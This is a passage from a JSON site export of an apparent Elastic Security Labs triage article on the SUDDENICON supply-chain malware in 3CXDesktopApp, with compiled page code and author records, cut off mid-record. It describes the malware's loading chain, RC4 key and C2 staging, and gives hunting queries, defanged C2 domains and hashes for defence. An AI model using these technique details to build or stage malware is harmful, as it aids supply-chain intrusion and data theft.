prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been [associated with DPRK](https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a). Upon successfully executing, this shellcode stub writes a new file ( `manifest` ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.\n\n![ffmpeg.dll loading the d3dcompiler_47.dll file](/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image3.jpg)\n\nC2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the [IconStorages Github repository](https://github.com/IconStorages) (this repository has been removed by Github). This repo was created by GitHub ID `120072117` on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.\n\n![SUDDENICON downloading a new executable](/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image5.png)\n\nInitial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.\n\nThe CEO of 3CX has [recommended uninstalling the software](https://www.3cx.com/community/threads/3cx-desktopapp-security-alert.119951/); a small number of [community forum](https://www.3cx.com/community/forums) posts outline how security tooling is reacting to potential malware behaviors, and [CrowdStrike](https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/) and [SentinelOne](https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/) have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.\n\n# Detection logic\n\n## Prevention\n\n- Memory Threat Detection Alert: Shellcode injection\n- [Windows.Trojan.SuddenIcon](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar)\n\n![Memory Threat Detection Alert: Shellcode injection](/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image4.jpg)\n\n## Hunting queries\n\nThe events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\n\n## KQL queries\n\nThe following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:\n\n`process.name : \"3CXDesktopApp.exe\" and dns.question.name : \"raw.githubusercontent.com\"`\n\nThe following KQL query can be used to identify several host-based indicators of this activity:\n\n`dll.hash.sha256 : \"7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896\" or dll.hash.sha256 : \"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02\"`\n\n## EQL queries\n\nUsing the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.\n\nThe following EQL query can be used to profile 3CX software and child software:\n\n`any where process.code_signature.subject_name == \"3CX Ltd\" or process.parent.code_signature.subject_name == \"3CX Ltd\"`\n\nThe following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:\n\n`network where process.code_signature.subject_name == \"3CX Ltd\" and dns.question.name == “raw.githubusercontent.com”`\n\nThe following EQL query can be used to identify files written by the 3CXDesktopApp client:\n\n`file where event.type == \"creation\" and (host.os.type == \"windows\" and file.path : \"*:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\C3XDesktopApp\\\\app\\\\*\" and file.name : (\"manifest\")) or (host.os.type == \"macos\" and file.path : \"*/Library/Application Support/3CX Desktop App/\" and file.name : (\"UpdateAgent\", \".main_storage\", \".session-lock\")`\n\nThe following EQL query can be used to identify several host-based indicators of this activity:\n\n`sequence by host.name, process.entity_id[process where process.code_signature.subject_name:\"3CX Ltd\"][library where dll.hash.sha256:\"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02\",\"7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896\"][network where dns.question.name:\"raw.githubusercontent.com\"]`\n\nThe following EQL query can be used to identify this activity if the DLL is updated:\n\n`library where process.code_signature.subject_name : \"3CX Ltd\" and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))`\n\n## YARA\n\nElastic Security Labs has released [two YARA signatures](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar) for the malicious shellcode, which we refer to as SUDDENICON.\n\n## Defensive recommendations\n\nElastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.\n\n![Enabling the Memory threat protection feature in Prevent mode](/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image2.jpg)\n\n# References\n\nThe following were referenced throughout the above research: - [https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/](https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/) - [https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/](https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/) - [https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign](https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign)\n\n# Indicators\n\n## Potentially malicious domains\n\nBold domains indicate that they were observed in our analysis.\n\n- akamaicontainer[.]com\n- akamaitechcloudservices[.]com\n- `azuredeploystore[.]com`\n- azureonlinecloud[.]com\n- azureonlinestorage[.]com\n- dunamistrd[.]com\n- glcloudservice[.]com\n- journalide[.]org\n- `msedgepackageinfo[.]com`\n- msstorageazure[.]com\n- `msstorageboxes[.]com`\n- `officeaddons[.]com`\n- `officestoragebox[.]com`\n- pbxcloudeservices[.]com\n- pbxphonenetwork[.]com\n- pbxsources[.]com\n- qwepoi123098[.]com\n- sbmsa[.]wiki\n- `sourceslabs[.]com`\n- `visualstudiofactory[.]com`\n- `zacharryblogs[.]com`\n\n# Potentially impacted 3CXDesktopApp versions and hashes:\n\nClient hash: `dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc` OS: Windows Installer hash: `aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868` Installer filename: `3cxdesktopapp-18.12.407.msi`\n\nClient hash: `fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405` OS: Windows Installer hash: `59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983` Installer filename: `3cxdesktopapp-18.12.416.msi`\n\nClient hash: `92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61` OS: macOS Installer hash: `5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290` Installer filename: `3CXDesktopApp-18.11.1213.dmg`\n\nClient hash: `b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb` OS: macOS Installer hash: `e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec` Installer filename: `3cxdesktopapp-latest.dmg`\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var n in e)o(i,n,{get:e[n],enumerable:!0})},r=(i,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!f.call(i,a)\u0026\u0026a!==n\u0026\u0026o(i,a,{get:()=\u003ee[a],enumerable:!(s=p(e,a))||s.enumerable});return i};var g=(i,e,n)=\u003e(n=i!=null?h(u(i)):{},r(e||!i||!i.__esModule?o(n,\"default\",{value:i,enumerable:!0}):n,i)),y=i=\u003er(o({},\"__esModule\",{value:!0}),i);var l=w((E,c)=\u003e{c.exports=_jsx_runtime});var D={};b(D,{default:()=\u003eC,frontmatter:()=\u003ev});var t=g(l()),v={title:\"Elastic users protected from SUDDENICON\\u2019s supply chain attack\",slug:\"elastic-users-protected-from-suddenicon-supply-chain-attack\",date:\"2023-05-05\",subtitle:\"Elastic alert telemetry has observed protection events related to the supply chain attacks targeting the 3CXDesktopApp update process.\",description:\"Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users.\",author:[{slug:\"daniel-stepanic\"},{slug:\"remco-sprooten\"},{slug:\"joe-desimone\"},{slug:\"samir-bousseaden\"},{slug:\"devon-kerr\"}],image:\"photo-edited-06@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"ref7957\",\"suddenicon\"]};function d(i){let e=Object.assign({h1:\"h1\",ul:\"ul\",li:\"li\",p:\"p\",a:\"a\",code:\"code\",img:\"img\",h2:\"h2\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h1,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Elastic users are protected from supply chain attacks targeting the 3CX users\"}),`\n`,(0,t.jsx)(e.li,{children:\"How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams\"}),`\n`,(0,t.jsx)(e.li,{children:\"Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists\"}),`\n`]}),`\n`,(0,t.jsx)(e.h1,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users \",(0,t.jsx)(e.a,{href:\"https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/\",rel:\"nofollow\",children:\"as detailed in a Reddit post\"}),\". Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 \",(0,t.jsx)(e.a,{href:\"https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign\",rel:\"nofollow\",children:\"as reported by Todyl\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.3cx.com/company/customers/\",rel:\"nofollow\",children:\"3CX states\"}),\" it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware\"}),`\n`,(0,t.jsx)(e.h1,{id:\"suddenicon-triage-analysis\",children:\"SUDDENICON triage analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The 3CXDesktopApp \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868\",rel:\"nofollow\",children:\"installer MSI\"}),\" appears to contain malicious code which waits seven days post-installation before downloading additional files from \",(0,t.jsx)(e.a,{href:\"https://github.com/IconStorages/images\",rel:\"nofollow\",children:\"GitHub\"}),\" and communicating with malicious command-and-control domains. The client application writes \",(0,t.jsx)(e.code,{children:\"ffmpeg.dll\"}),\" and \",(0,t.jsx)(e.code,{children:\"d3dcompiler\\\\_47.dll\"}),\" to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that \",(0,t.jsx)(e.code,{children:\"ffmpeg.dll\"}),\" and \",(0,t.jsx)(e.code,{children:\"d3dcompiler\\\\_47.dll\"}),\" are both legitimate file names and rules should not be created on them alone.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image1.jpg\",alt:\"ffmpeg.dll referencing the d3dcompiler_47.dll file\",width:\"1069\",height:\"235\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"ffmpeg.dll\"}),\" binary extracts SUDDENICON from \",(0,t.jsx)(e.code,{children:\"d3dcompiler\\\\_47.dll\"}),\" by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (\",(0,t.jsx)(e.code,{children:\"3jB(2bsG#@c7\"}),\"). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been \",(0,t.jsx)(e.a,{href:\"https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a\",rel:\"nofollow\",children:\"associated with DPRK\"}),\". Upon successfully executing, this shellcode stub writes a new file ( \",(0,t.jsx)(e.code,{children:\"manifest\"}),\" ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image3.jpg\",alt:\"ffmpeg.dll loading the d3dcompiler_47.dll file\",width:\"553\",height:\"107\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the \",(0,t.jsx)(e.a,{href:\"https://github.com/IconStorages\",rel:\"nofollow\",children:\"IconStorages Github repository\"}),\" (this repository has been removed by Github). This repo was created by GitHub ID \",(0,t.jsx)(e.code,{children:\"120072117\"}),\" on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image5.png\",alt:\"SUDDENICON downloading a new executable\",width:\"1440\",height:\"503\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Initial analysis of the new executable appears to be an information stealer. We\\u2019ll release an update once the analysis has been completed.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The CEO of 3CX has \",(0,t.jsx)(e.a,{href:\"https://www.3cx.com/community/threads/3cx-desktopapp-security-alert.119951/\",rel:\"nofollow\",children:\"recommended uninstalling the software\"}),\"; a small number of \",(0,t.jsx)(e.a,{href:\"https://www.3cx.com/community/forums\",rel:\"nofollow\",children:\"community forum\"}),\" posts outline how security tooling is reacting to potential malware behaviors, and \",(0,t.jsx)(e.a,{href:\"https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/\",rel:\"nofollow\",children:\"CrowdStrike\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/\",rel:\"nofollow\",children:\"SentinelOne\"}),\" have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,t.jsx)(e.h2,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Memory Threat Detection Alert: Shellcode injection\"}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar\",rel:\"nofollow\",children:\"Windows.Trojan.SuddenIcon\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image4.jpg\",alt:\"Memory Threat Detection Alert: Shellcode injection\",width:\"928\",height:\"710\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"hunting-queries\",children:\"Hunting queries\"}),`\n`,(0,t.jsx)(e.p,{children:\"The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"kql-queries\",children:\"KQL queries\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'process.name : \"3CXDesktopApp.exe\" and dns.question.name : \"raw.githubusercontent.com\"'})}),`\n`,(0,t.jsx)(e.p,{children:\"The following KQL query can be used to identify several host-based indicators of this activity:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'dll.hash.sha256\\xA0 : \"7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896\" or dll.hash.sha256 :\\xA0 \"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02\"'})}),`\n`,(0,t.jsx)(e.h2,{id:\"eql-queries\",children:\"EQL queries\"}),`\n`,(0,t.jsx)(e.p,{children:\"Using the Timeline section of the Security Solution in Kibana under the \\u201CCorrelation\\u201D tab, you can use the below EQL queries to hunt for similar behaviors.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following EQL query can be used to profile 3CX software and child software:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'any where process.code_signature.subject_name == \"3CX Ltd\"\\xA0or process.parent.code_signature.subject_name == \"3CX Ltd\"'})}),`\n`,(0,t.jsx)(e.p,{children:\"The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'network where process.code_signature.subject_name == \"3CX Ltd\" and dns.question.name == \\u201Craw.githubusercontent.com\\u201D'})}),`\n`,(0,t.jsx)(e.p,{children:\"The following EQL query can be used to identify files written by the 3CXDesktopApp client:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'file where event.type == \"creation\" and (host.os.type == \"windows\" and file.path : \"*:\\\\\\\\Users\\\\\\\\*\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Programs\\\\\\\\C3XDesktopApp\\\\\\\\app\\\\\\\\*\" and file.name : (\"manifest\")) or (host.os.type == \"macos\" and file.path : \"*/Library/Application Support/3CX Desktop App/\" and file.name : (\"UpdateAgent\", \".main_storage\", \".session-lock\")'})}),`\n`,(0,t.jsx)(e.p,{children:\"The following EQL query can be used to identify several host-based indicators of this activity:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'sequence by host.name, process.entity_id[process where process.code_signature.subject_name:\"3CX Ltd\"][library where dll.hash.sha256:\"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02\",\"7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896\"][network where dns.question.name:\"raw.githubusercontent.com\"]'})}),`\n`,(0,t.jsx)(e.p,{children:\"The following EQL query can be used to identify this activity if the DLL is updated:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'library where process.code_signature.subject_name : \"3CX Ltd\" and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))'})}),`\n`,(0,t.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security Labs has released \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar\",rel:\"nofollow\",children:\"two YARA signatures\"}),\" for the malicious shellcode, which we refer to as SUDDENICON.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"defensive-recommendations\",children:\"Defensive recommendations\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image2.jpg\",alt:\"Enabling the Memory threat protection feature in Prevent mode\",width:\"1440\",height:\"789\"})}),`\n`,(0,t.jsx)(e.h1,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following were referenced throughout the above research: - \",(0,t.jsx)(e.a,{href:\"https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/\",rel:\"nofollow\",children:\"https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/\"}),\" - \",(0,t.jsx)(e.a,{href:\"https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/\",rel:\"nofollow\",children:\"https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/\"}),\" - \",(0,t.jsx)(e.a,{href:\"https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign\",rel:\"nofollow\",children:\"https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign\"})]}),`\n`,(0,t.jsx)(e.h1,{id:\"indicators\",children:\"Indicators\"}),`\n`,(0,t.jsx)(e.h2,{id:\"potentially-malicious-domains\",children:\"Potentially malicious domains\"}),`\n`,(0,t.jsx)(e.p,{children:\"Bold domains indicate that they were observed in our analysis.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"akamaicontainer[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"akamaitechcloudservices[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"azuredeploystore[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:\"azureonlinecloud[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"azureonlinestorage[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"dunamistrd[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"glcloudservice[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"journalide[.]org\"}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"msedgepackageinfo[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:\"msstorageazure[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"msstorageboxes[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"officeaddons[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"officestoragebox[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:\"pbxcloudeservices[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"pbxphonenetwork[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"pbxsources[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"qwepoi123098[.]com\"}),`\n`,(0,t.jsx)(e.li,{children:\"sbmsa[.]wiki\"}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"sourceslabs[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"visualstudiofactory[.]com\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"zacharryblogs[.]com\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h1,{id:\"potentially-impacted-3cxdesktopapp-versions-and-hashes\",children:\"Potentially impacted 3CXDesktopApp versions and hashes:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Client hash: \",(0,t.jsx)(e.code,{children:\"dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc\"}),\" OS: Windows Installer hash: \",(0,t.jsx)(e.code,{children:\"aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868\"}),\" Installer filename: \",(0,t.jsx)(e.code,{children:\"3cxdesktopapp-18.12.407.msi\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Client hash: \",(0,t.jsx)(e.code,{children:\"fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405\"}),\" OS: Windows Installer hash: \",(0,t.jsx)(e.code,{children:\"59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983\"}),\" Installer filename: \",(0,t.jsx)(e.code,{children:\"3cxdesktopapp-18.12.416.msi\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Client hash: \",(0,t.jsx)(e.code,{children:\"92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61\"}),\" OS: macOS Installer hash: \",(0,t.jsx)(e.code,{children:\"5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290\"}),\" Installer filename: \",(0,t.jsx)(e.code,{children:\"3CXDesktopApp-18.11.1213.dmg\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Client hash: \",(0,t.jsx)(e.code,{children:\"b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb\"}),\" OS: macOS Installer hash: \",(0,t.jsx)(e.code,{children:\"e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec\"}),\" Installer filename: \",(0,t.jsx)(e.code,{children:\"3cxdesktopapp-latest.dmg\"})]})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var C=k;return y(D);})();\n;return Component;"},"_id":"articles/elastic-users-protected-from-suddenicon-supply-chain-attack.mdx","_raw":{"sourceFilePath":"articles/elastic-users-protected-from-suddenicon-supply-chain-attack.mdx","sourceFileName":"elastic-users-protected-from-suddenicon-supply-chain-attack.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-users-protected-from-suddenicon-supply-chain-attack"},"type":"Article","imageUrl":"/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/photo-edited-06@2x.jpg","readingTime":"7 min read","series":"","url":"/elastic-users-protected-from-suddenicon-supply-chain-attack","headings":[{"level":2,"title":"Prevention","href":"#prevention"},{"level":2,"title":"Hunting queries","href":"#hunting-queries"},{"level":2,"title":"KQL queries","href":"#kql-queries"},{"level":2,"title":"EQL queries","href":"#eql-queries"},{"level":2,"title":"YARA","href":"#yara"},{"level":2,"title":"Defensive recommendations","href":"#defensive-recommendations"},{"level":2,"title":"Potentially malicious domains","href":"#potentially-malicious-domains"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Remco Sprooten","slug":"remco-sprooten","description":"Elastic Security Labs Team Senior Research Engineer","body":{"raw":"","code":"var 